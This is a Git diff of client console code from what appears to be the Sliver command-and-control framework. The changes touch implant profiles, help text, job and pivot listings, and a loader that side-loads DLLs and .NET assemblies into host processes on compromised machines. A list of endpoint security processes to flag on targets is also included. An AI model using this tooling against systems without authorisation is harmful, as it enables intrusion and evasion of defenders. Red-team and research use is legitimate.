fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
}
con.Printf("%s\n", tw.Render())
table.Flush()
}
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error %s", err)
return nil
}
return pbProfiles.Profiles
}
// GetImplantProfileByName - Get an implant profile by a specific name
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error %s", err)
return nil
}
for _, profile := range pbProfiles.Profiles {
@@ -117,18 +114,3 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
}
return nil
}
// ProfileNameCompleter - Completer for implant build names
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return []string{}
}
results := []string{}
for _, profile := range pbProfiles.Profiles {
if strings.HasPrefix(profile.Name, prefix) {
results = append(results, profile.Name)
}
}
return results
}
+2 -3
View File
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
targetOS := ""
session, beacon := con.ActiveTarget.Get()
session, beacon := con.ActiveTarget.GetInteractive()
if session != nil {
targetOS = session.OS
} else if beacon != nil {
@@ -57,7 +57,7 @@ func printHelp(con *console.SliverConsoleClient) {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
@@ -97,7 +97,6 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
printHeadline(con.App.Config(), headline, con)
con.Printf("%s\n", columnize.Format(output, config))
con.Println()
}
}
}
+5 -11
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadMacrosHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -84,7 +84,6 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
@@ -212,12 +211,12 @@ profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
profiles generate my-profile-name
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
generate-profile mtls-profile
`
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
@@ -483,11 +482,6 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
+6 -6
View File
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
hostSessions(host.HostUUID, con),
hostSessionNumbers(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
return tw.Render()
}
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if len(hostSessions) == 0 {
if 0 == len(hostSessions) {
return "None"
}
sessionIDs := []string{}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return fmt.Sprintf("%d", len(sessionIDs))
return strings.Join(sessionNumbers, ", ")
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
+5 -9
View File
@@ -19,8 +19,6 @@ package info
*/
import (
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
@@ -35,7 +33,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
@@ -46,14 +44,13 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
@@ -64,11 +61,10 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
+15 -22
View File
@@ -21,15 +21,16 @@ package jobs
import (
"context"
"fmt"
"os"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// JobsCmd - Manage server jobs (listeners, etc)
@@ -50,41 +51,33 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
activeJobs[job.ID] = job
}
if 0 < len(activeJobs) {
PrintJobs(activeJobs, con)
printJobs(activeJobs)
} else {
con.PrintInfof("No active jobs\n")
}
}
}
// PrintJobs - Prints a list of active jobs
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Protocol",
"Port",
})
func printJobs(jobs map[uint32]*clientpb.Job) {
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("Protocol")),
strings.Repeat("=", len("Port")))
var keys []int
for _, job := range jobs {
keys = append(keys, int(job.ID))
}
sort.Ints(keys)
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
for _, k := range keys {
job := jobs[uint32(k)]
tw.AppendRow(table.Row{
fmt.Sprintf("%d", job.ID),
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
})
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
}
con.Printf("%s\n", tw.Render())
table.Flush()
}
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
+6 -4
View File
@@ -35,9 +35,10 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
promptSession := &survey.Confirm{Message: "Kill the active session?"}
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
if session != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
survey.AskOne(promptSession, &confirm, nil)
if !confirm {
return
}
@@ -49,8 +50,9 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
} else if beacon != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
}
if beacon != nil {
survey.AskOne(promptBeacon, &confirm, nil)
if !confirm {
return
}
@@ -1,11 +1,4 @@
Alias
Macros
===========
Wraps external DLLs/tool in Sliver console commands.
### Format
* `alias-dir/`
* * `manifest.json` -
+335
View File
@@ -0,0 +1,335 @@
package macros
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]macro
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type macroFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type macroCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
MacroFiles []macroFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type macro struct {
Name string `json:"macroName"`
Commands []macroCommand `json:"macroCommands"`
Path string
}
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.MacroFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
case "x64":
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no macro command found for name %s", name)
return
}
// LoadMacroCmd - Locally load a macro into the Sliver shell.
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
// retrieve macro manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
}
// parse it
ext := &macro{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
con.PrintErrorf("Error loading macro: %v", err)
return
}
ext.Path = dirPath
// for each macro command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
macroCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runMacroCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.MacroHelpGroup,
}
con.App.AddCommand(macroCmd)
}
con.PrintInfof("%s macro has been loaded\n", ext.Name)
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]macro)
}
+4 -4
View File
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
"ID",
"Remote Address",
})
for _, pivotListener := range listener.Pivots {
for _, pivot := range listener.Pivots {
tw.AppendRow(table.Row{
pivotListener.PeerID,
pivotListener.RemoteAddress,
pivot.ID,
pivot.RemoteAddress,
})
}
con.Printf("%s\n", tw.Render())
+1 -1
View File
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+16 -23
View File
@@ -19,22 +19,19 @@ package portfwd
*/
import (
"bytes"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// PortfwdCmd - Display information about tunneled port forward(s)
func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrintPortfwd(con)
}
// PrintPortfwd - Print the port forward(s)
func PrintPortfwd(con *console.SliverConsoleClient) {
portfwds := core.Portfwds.List()
if len(portfwds) == 0 {
con.PrintInfof("No port forwards\n")
@@ -43,22 +40,18 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
sort.Slice(portfwds[:], func(i, j int) bool {
return portfwds[i].ID < portfwds[j].ID
})
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Session ID",
"Bind Address",
"Remote Address",
})
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Session ID")),
strings.Repeat("=", len("Bind Address")),
strings.Repeat("=", len("Remote Address")),
)
for _, p := range portfwds {
tw.AppendHeader(table.Row{
p.ID,
p.SessionID,
p.BindAddr,
p.RemoteAddr,
})
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
}
con.Printf("%s\n", tw.Render())
table.Flush()
con.Printf("%s", outputBuf.String())
}
+1 -1
View File
@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
+15 -40
View File
@@ -35,17 +35,14 @@ import (
var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
knownSecurityTools = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
"bdagent.exe": console.Red, // Bitdefender (Total Security)
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
@@ -71,20 +68,10 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
PrintPS(os, ps, false, ctx, con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
}
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, ctx, con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
}
}
}
@@ -99,6 +86,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
@@ -130,36 +118,23 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
row := procRow(tw, proc, cmdLine, con)
tw.AppendRow(row)
procRow(tw, proc, cmdLine, con)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
if !interactive {
overflow = true
}
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
}
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
products := []string{}
for _, proc := range ps.Processes {
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
products = append(products, secTool[1])
}
}
return products
}
// procRow - Stylizes the process information
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
color = modifyColor
}
if session != nil && proc.Pid == session.PID {
color = console.Green
@@ -221,7 +196,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
}
}
}
return row
tw.AppendRow(row)
}
// GetPIDByName - Get a PID by name from the active session
+1 -1
View File
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintCreateKey - Print the results of the create key command
// PrintCreateKey - Print the results of the crate key command
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
if createKey.Response != nil && createKey.Response.Err != "" {
con.PrintErrorf("%s", createKey.Response.Err)
-105
View File
@@ -1,105 +0,0 @@
package registry
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegDeleteKeyCmd - Remove a Windows registry key
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
hostname := ctx.Flags.String("hostname")
hive := ctx.Flags.String("hive")
if err := checkHive(hive); err != nil {
con.PrintErrorf("%s\n", err)
return
}
regPath := ctx.Args.String("registry-path")
if regPath == "" {
con.PrintErrorf("You must provide a path\n")
return
}
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
Hive: hive,
Path: finalPath,
Key: key,
Hostname: hostname,
